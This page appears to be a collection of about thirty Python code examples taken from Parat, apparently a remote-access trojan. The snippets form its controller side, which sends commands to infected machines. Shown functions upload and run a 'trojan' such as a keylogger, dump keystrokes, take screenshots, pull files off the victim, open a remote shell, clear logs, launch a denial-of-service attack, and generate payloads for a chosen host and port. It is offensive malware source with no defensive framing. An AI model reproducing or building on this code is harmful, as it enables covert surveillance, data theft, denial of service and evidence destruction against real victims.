示例#1
0
    def start(self):

        try:

            url = self.args[0]

            if url is not None:

                self.conn.send(Encode("ie<#>" + self.args[0]))
                response = Decode(self.conn.recv(4096))

                if "error" in response:
                    pprint(
                        colorize(response, colored=self.colors, status="ERR"))
                else:
                    pprint(
                        colorize(response, colored=self.colors, status="SUC"))
            else:
                pprint(
                    colorize(" usage: explorer google.com",
                             colored=self.colors,
                             status="INF"), 1)

        except Exception as e:
            pprint(colorize(str(e) + '\n', colored=self.colors, status="ERR"),
                   1)
示例#2
0
    def start(self):

        try:

            if len(self.args) == 0:
                pprint(
                    colorize("usage: runfile keylogger.exe\n",
                             colored=self.colors,
                             status="INF"))

            else:

                self.trojan_name = self.args[0]
                text = colorize("uploading", colored=self.colors, status="INF")
                self.process_bar = ParatProcessBar(text)

                if os.path.isfile(self.trojan_name):
                    self.local_method()
                else:
                    self.remote_method()

        except Exception as e:

            if self.process_bar:
                self.process_bar.Stop = True
                sleep(0.2)

            pprint(
                colorize("Running failed.\n",
                         colored=self.colors,
                         status="ERR"), 1)
示例#3
0
    def kill_process(self, pid):

        try:

            pid = pid[1].strip()

            if pid != "":
                self.conn.send(Encode("kill " + pid)); sleep(0.1)
                response = Decode(self.conn.recv(4096))
                pprint(response) if self.colors else pprint(gray(response))

            else:
                pprint(
                    colorize(
                        "No PID specified.\n",
                        colored=self.colors,
                        status="ERR"
                    ), 1)

        except:
            pprint(
                colorize(
                    "Kill error.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
示例#4
0
    def set_path(self, path):

        try:
            check = os.path.join(path, '.parat_tmp')
            open(check, 'w')

        except Exception as error:

            if error.errno == 2:
                pprint(
                    colorize("No such file or directory: '%s'\n" % path,
                             colored=self.colors,
                             status="ERR"), 1)
            elif error.errno == 13:
                pprint(
                    colorize("Permission denied: '%s'\n" % path,
                             colored=self.colors,
                             status="ERR"), 1)
            else:
                pprint(
                    colorize(str(error) + '\n',
                             colored=self.colors,
                             status="ERR"), 1)
            return False

        else:

            self.path = path
            self.config.set('gen', 'path', path)
            with open(self.conf_path, 'wb') as confile:
                self.config.write(confile)
            confile.close()
            return True
示例#5
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:

                argument = self.parser.parse_args(self.args)

                finall_command = "{}<#>{}<#>{}<#>{}<#>{}".format(
                    "msgbox",
                    argument.title,
                    argument.message,
                    argument.icon,
                    argument.button,
                )
                self.conn.send(Encode(finall_command))
                result = Decode(self.conn.recv(4096))

                if "error" in result:
                    pprint(colorize(result, colored=self.colors, status="ERR"))
                else:
                    pprint(colorize(result, colored=self.colors, status="SUC"))

            except:
                pass
示例#6
0
def tumultuous(conn, handler, colors, name):

    try:

        text = colorize(
            "Checking for data",
            colored=colors,
            status="INF"
        )
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        conn.settimeout(3)
        data = conn.recv(4096)
        rands = ''.join(choice(ascii_letters) for _ in range(5))
        handled_file  = "handled_%s_%s.log" % (name, rands)
        data_handler  = open(handled_file, "w")

        while data:
            if handler in data: break
            data_handler.write(data)
            data = conn.recv(4096)

        process_bar.Stop = True
        sleep(0.2)

        pprint(
            colorize(
                "Handler file: %s\n" % handled_file,
                colored=colors,
                status="SUC"
            )
        )
        data_handler.close()


    except Exception as e:

        if "[Errno 9]" in str(e):
            pass # <socket.error> Bad file descriptor

        elif "timed out" in str(e):
            process_bar.Stop = True
            sleep(0.2)
            pprint(
                colorize(
                    "No specify data!\n",
                    colored=colors,
                    status="SUC"
                ), 1)
        else:
            process_bar.Stop = True
            sleep(0.2)
            pprint(
                colorize(
                    str(e)+"\n",
                    colored=colors,
                    status="ERR"
                ), 1)
示例#7
0
    def local_method(self):

        try:

            self.conn.send(
                Encode("runfile<#>" + self.trojan_name + "<#>LOCAL_GET"))
            trojan_file = open(self.trojan_name, "rb")
            chunk = trojan_file.read(4096)

            pprint(
                colorize("Local method detcted!\n",
                         colored=self.colors,
                         status="INF"))
            self.process_bar.start_process()

            self.conn.send(Encode("#IS_FILE"))
            sleep(0.1)

            while chunk:
                self.conn.send(chunk)
                sleep(0.1)
                chunk = trojan_file.read(4096)

            self.conn.send("#UPLOAD_END")
            trojan_file.close()
            status = Decode(self.conn.recv(4096))

            if status == "#OPENED":
                pprint(
                    colorize("Running successfull.",
                             colored=self.colors,
                             status="SUC"))
            elif status == "#NOT_OPENED":
                pprint(
                    colorize("Runtime error.\n",
                             colored=self.colors,
                             status="ERR"))
            else:
                pprint(status) if self.colors else pprint(gray(status))

            self.process_bar.Stop = True
            sleep(0.2)

        except IOError:

            self.conn.send(Encode("#NOT_FILE"))
            if self.process_bar:
                self.process_bar.Stop = True
                sleep(0.2)
            pprint(
                colorize("No file specified.\n",
                         colored=self.colors,
                         status="ERR"), 1)
示例#8
0
    def start(self):

        try:

            if len(self.args) == 0:
                pprint(
                    colorize(
                        "usage: wget http://google.com/file.any\n",
                        colored=self.colors,
                        status="INF"
                    ))
            else:
                text = colorize(
                    "downloading",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                url_address = self.args[0]

                if url_address.strip() != "":

                    start_download_from_url = "wget<#>" + url_address
                    self.conn.send(Encode(start_download_from_url))
                    response = str(Decode(self.conn.recv(4096)))

                    process_bar.Stop = True
                    sleep(0.2)
                    pprint(response) if self.colors else pprint(gray(response))

                else:
                    pprint(
                        colorize(
                            "No specified url.\n",
                            colored=self.colors,
                            status="ERR"
                        ))
        except:

            if process_bar:
                process_bar.Stop = True;
                sleep(0.2)

            pprint(
                colorize(
                    "Url error.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
示例#9
0
    def download(self, args):

        file_name = args[0]

        if file_name != "":

            self.conn.send(Encode("download<#>" + file_name))
            recive_data = self.conn.recv(4096)

            if "File '%s' not found." % file_name in recive_data or "Unknown error" in recive_data:
                pprint(
                    colorize(
                        recive_data,
                        colored=self.colors,
                        status="ERR"
                    ), 1)

            else:
                recive_file = open(file_name.strip(), "wb")
                text = colorize(
                    "downloading",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                while recive_data:
                    recive_file.write(recive_data)
                    sleep(0.1)
                    recive_data = self.conn.recv(4096)

                    if self.handler in recive_data:
                        process_bar.Stop = True; break

                recive_file.close()
                process_bar.Stop = True
                sleep(0.2)
                pprint(
                    colorize(
                        "Download complete -> %s\n" % file_name,
                        colored=self.colors,
                        status="SUC"
                    ))
        else:
            pprint(
                colorize(
                    "No specified file.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
示例#10
0
    def finally_generate(self):

        if self.path == None: self.path = os.path.abspath('')

        result = create_it(self.output, self.host, self.port,
                           self.current_platform, self.current_arch, self.path,
                           self.scriptlet[1], self.encoding)

        if not result:
            pprint(
                colorize(">>Saved     : ", colored=self.colors, color="GREEN")
                + str(self.path + "/parat_output/" + self.output) + "\n")
        else:
            pprint(colorize(result + "\n", colored=self.colors, status="ERR"),
                   1)
示例#11
0
    def recive_online(self):

        self.conn.send(Encode("#FSCAN"))

        text = colorize("scanning", colored=self.colors, status="INF")
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        response = Decode(self.conn.recv(4096))

        # write data to disk
        with open(self.scan_file, "w") as info_file:
            info_file.write(response.replace(self.handler, "").rstrip())
        info_file.close()

        process_bar.Stop = True
        sleep(0.2)

        pprint("\n")
        pprint(response.replace(self.handler, "").rstrip())
        pprint("\n\n")

        self.db_con.execute(
            "UPDATE targets SET oPorts=? WHERE id=?",
            (response.replace(self.handler, "").rstrip(), self.client_id))
        self.db_con.commit()
示例#12
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:

                argument = self.parser.parse_args(self.args)

                self.conn.send(
                    Encode(" ".join([
                        "dos", argument.ip, argument.method,
                        str(argument.packets)
                    ])))
                attack_result = Decode(self.conn.recv(4096))

                while attack_result:

                    for line in attack_result.split("\n"):
                        pprint(line + '\n')
                        sleep(.03)

                    attack_result = Decode(self.conn.recv(4096))

                    if self.handler in attack_result:
                        pprint(
                            colorize("Attack stoppetd!\n\n",
                                     colored=self.colors,
                                     status="WAR"))
                        break
            except:
                pass
示例#13
0
    def start(self):

        try:
            recived_data = self.conn.recv(4096)

            while recived_data:
                self.screenshot_file.write(recived_data)
                sleep(0.1)
                recived_data = self.conn.recv(4096)

                if self.handler in recived_data:
                    self.screenshot_file.write(
                        recived_data.replace(self.handler, ""))
                    break

            self.screenshot_file.close()

            self.process_bar.Stop = True
            sleep(0.2)
            pprint(
                colorize("Captured: %s\n" % self.filename,
                         colored=self.colors,
                         status="SUC"))
            # system('feh ' + self.filename)

        except socket.error:

            self.process_bar.Stop = True
            sleep(0.2)
            CTRL_C(self.conn, self.handler, self.colors,
                   self.filename.replace(".bmp", ""))
示例#14
0
文件: Updater.py 项目: suriya73/Parat
def check_update():

    root_path = abspath(join(dirname(__file__)))

    parser = ConfigParser()
    path_to_config = join(root_path, "..", "conf", "config.ini")

    with open(path_to_config, 'r') as config:
        parser.readfp(config)
    config.close()

    color_mode = parser.get('cmd', 'colors').lower()
    colored = True if color_mode == "on" else False

    try:

        updateurl = 'https://raw.githubusercontent.com/micle-fm/Parat/master/conf/parat.version'
        request = urlopen(updateurl)
        parat_version = request.read().rstrip('\n')
        request.close()

    except:

        path_to_version_file = join(root_path, "..", "conf", "parat.version")
        with open(path_to_version_file, 'r') as ver_file:
            parat_version = ver_file.read().rstrip('\n')
        ver_file.close()

    if parat_version != __version__:
        pprint(
            colorize(
                "\t New version aviable on https://github.com/micle-fm/parat .\n",
                colored=colored,
                status="WAR"))
示例#15
0
    def prepare_basics(self):

        self.conn.send(Encode(">screensh0t<"))
        text = colorize("capturing", colored=self.colors, status="INF")
        self.process_bar = ParatProcessBar(text)
        self.process_bar.start_process()

        self.filename = "scr_" + rand_str(5)
        self.filename += ".bmp"
        self.screenshot_file = open(self.filename, 'wb')
示例#16
0
    def remote_method(self):

        try:

            pprint(
                colorize("Remote method detcted!\n",
                         colored=self.colors,
                         status="INF"))
            self.process_bar.start_process()

            self.conn.send(
                Encode("runfile<#>" + self.trojan_name + "<#>REMOTE_GET"))
            exec_status = Decode(self.conn.recv(4096))

            if exec_status == "#OPENED":
                pprint(
                    colorize("Running successfull.",
                             colored=self.colors,
                             status="SUC"))
            elif status == "#NOT_OPENED":
                pprint(
                    colorize("Runtime error.\n",
                             colored=self.colors,
                             status="ERR"))
            else:
                pprint(status) if self.colors else pprint(gray(status))

            self.process_bar.Stop = True
            sleep(0.2)

        except:

            if self.process_bar:
                self.process_bar.Stop = True
                sleep(0.2)

            pprint(
                colorize("Running failed.\n",
                         colored=self.colors,
                         status="ERR"), 1)
示例#17
0
    def start(self):

        if len(self.program) == 0:
            pprint(
                colorize("usage: uninstall 'Adobe Acrobat Reader DC'\n",
                         colored=self.colors,
                         status="INF"))

        else:

            text = colorize("tring for uninstall",
                            colored=self.colors,
                            status="INF")
            process_bar = ParatProcessBar(text)
            process_bar.start_process()

            self.conn.send(Encode("uninstall<#>" + self.program[0]))
            result = Decode(self.conn.recv(4096))

            process_bar.Stop = True
            sleep(0.2)
            pprint(result) if self.colors else pprint(gray(result))
示例#18
0
    def make_directory(self, new_folder):

        if new_folder is not None and len(new_folder) != 0:

            new_folder = new_folder[0].strip()

            self.conn.send(Encode("mkdir<#>" + new_folder))
            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: mkdir \"New Foler\" \n",
                         colored=self.colors,
                         status="INF"))
示例#19
0
    def start(self):

        try:
            self.conn.send(Encode("scan"))

            # check for first connection
            if self.uflag or not os.path.isfile(self.scan_file):
                self.recive_online()
            else:
                self.read_offline()

        except Exception as e:

            pprint(colorize(str(e) + "\n", colored=self.colors, status="ERR"),
                   1)
示例#20
0
def echo_des_message(client_id, lport, cliuser, rip, rport, colors):

    message = colorize(
        "\r[-]Session %s Closed on %d (%s) -> [%s:%d]\n" % \
            (
                client_id,
                lport,
                cliuser,
                rip,
                rport
            ),
        colored=colors,
        color="LRED"
    )
    pprint(message)
示例#21
0
    def change_directory(self, dirc):

        if dirc is not None and len(dirc) != 0:

            directory = dirc[0].strip()

            self.conn.send(Encode("cd<#>" + directory))

            response = Decode(self.conn.recv(4096)) + "\n"
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: cd \"New Folder\" \n",
                         colored=self.colors,
                         status="INF"))
示例#22
0
def config_file(*args):

    try:

        if len(args) == 1:  # get_path
            return os.path.abspath(os.path.join('conf', 'config.ini'))

        elif len(args) == 0:
            config = configparser.ConfigParser()
            config.read(os.path.join('conf', 'config.ini'))
            return config

        else:
            raise Exception("Too much arguments expected.")

    except Exception as e:
        exit(colorize(str(e), colored=True, status="ERR"))
示例#23
0
    def start(self):

        self.conn.send(Encode("rmlog"))

        text = colorize(
            "cleaning logs",
            colored=self.colors,
            status="INF"
        )
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        result = Decode(self.conn.recv(4096))
        process_bar.Stop = True
        sleep(0.2)

        pprint(result) if self.colors else pprint(gray(result))
示例#24
0
    def remove(self, arg):

        if arg is not None and len(arg) != 0:

            arg = arg[0].strip()
            folder_flag = False
            file_flag = False

            self.conn.send(Encode("rmv<#>" + arg))

            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: rmv anything\n",
                         colored=self.colors,
                         status="INF"))
示例#25
0
    def start_process(self):

        self.Stop = False

        Process = Thread(target=self.Run)
        Process.start()

        if self.keyword is None:
            pass

        elif self.keyword == "#RELAXATION":
            sleep(random.random())
            self.Stop = True

        else:
            self.Stop = True
            error_message = "Invalid keyword for process bar: {}\n".format(
                self.keyword)
            pprint(colorize(error_message, status="ERR"), 1)
示例#26
0
    def set_scriptlet(self, scriptlet):

        if os.path.isfile(scriptlet):

            self.scriptlet[0] = scriptlet
            self.scriptlet[1] = open(scriptlet, "r").read()

            self.config.set('gen', 'scriptlet', scriptlet)
            with open(self.conf_path, 'wb') as confile:
                self.config.write(confile)
            confile.close()
            return True

        else:
            pprint(
                colorize("Script not found: %s\n" % scriptlet,
                         colored=self.colors,
                         status="ERR"), 1)
            return False
示例#27
0
    def dump_keys(self):

        try:

            if not isfile(self.keylogger_name):
                system("touch '{}'".format(self.keylogger_name))

            self.conn.send(Encode(">keyl0gger<"))
            recived_data = Decode(self.conn.recv(4096))
            pprint(recived_data)

            system("echo '{}' >> {}".format(recived_data, self.keylogger_name))

        except Exception as e:

            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
示例#28
0
    def start(self):
        def print_current_path():

            self.conn.send(Encode("ENTER"))
            response = Decode(self.conn.recv(4096))
            pprint(response)

        self.conn.send(Encode(self.command))
        pprint("\n")

        while True:

            try:

                prompt = Decode(self.conn.recv(4096))
                self.command = raw_input(prompt)

                if len(self.command) != 0:

                    if self.command != "exit":
                        self.conn.send(Encode(self.command))
                        response = Decode(self.conn.recv(4096))
                        pprint(response)

                    else:
                        self.conn.send(Encode(self.command))
                        pprint("\n")
                        break
                else:
                    print_current_path()

            except EOFError:
                print_current_path()

            except Exception as e:
                # import traceback; traceback.print_exc()
                pprint(
                    colorize(str(e) + '\n', colored=self.colors, status="ERR"),
                    1)
                break
示例#29
0
    def get_all(self):

        self.conn.send(Encode("getps"))
        proc = Decode(self.conn.recv(4096))

        while 1:

            if "GETPS ERROR!" in proc:
                pprint(
                    colorize(
                        proc,
                        colored=self.colors,
                        status="ERR"
                )); break

            else:

                pprint(proc.replace('\n', '') + '\n')
                sleep(0.01)
                proc = Decode(self.conn.recv(4096))

                if self.handler in proc:
                    pprint("\n"); break
示例#30
0
def check_update():

    root_path = abspath(join(dirname(__file__)))

    parser = ConfigParser()
    path_to_config = join(root_path, "..", "conf", "config.ini")

    with open(path_to_config, 'r') as config:
        parser.readfp(config)
    config.close()

    color_mode  = parser.get('cmd', 'colors').lower()
    colored     = True if color_mode == "on" else False

    try:

        updateurl = 'https://raw.githubusercontent.com/micle-fm/Parat/master/conf/parat.version'
        request = urlopen(updateurl)
        parat_version = str(request.read()).strip()
        request.close()

    except:

        path_to_version_file = join(root_path, "..", "conf", "parat.version")
        with open(path_to_version_file, 'r') as ver_file:
            parat_version = ver_file.read().strip()
        ver_file.close()

    if parat_version != __version__:
        pprint(
            colorize(
                    "Your templates are not synced with your parat version!" + \
                    "\n\t Update your parat using 'git clone https://github.com/micle-fm/parat' command.\n",
                    colored=colored,
                    status="WAR"
                ))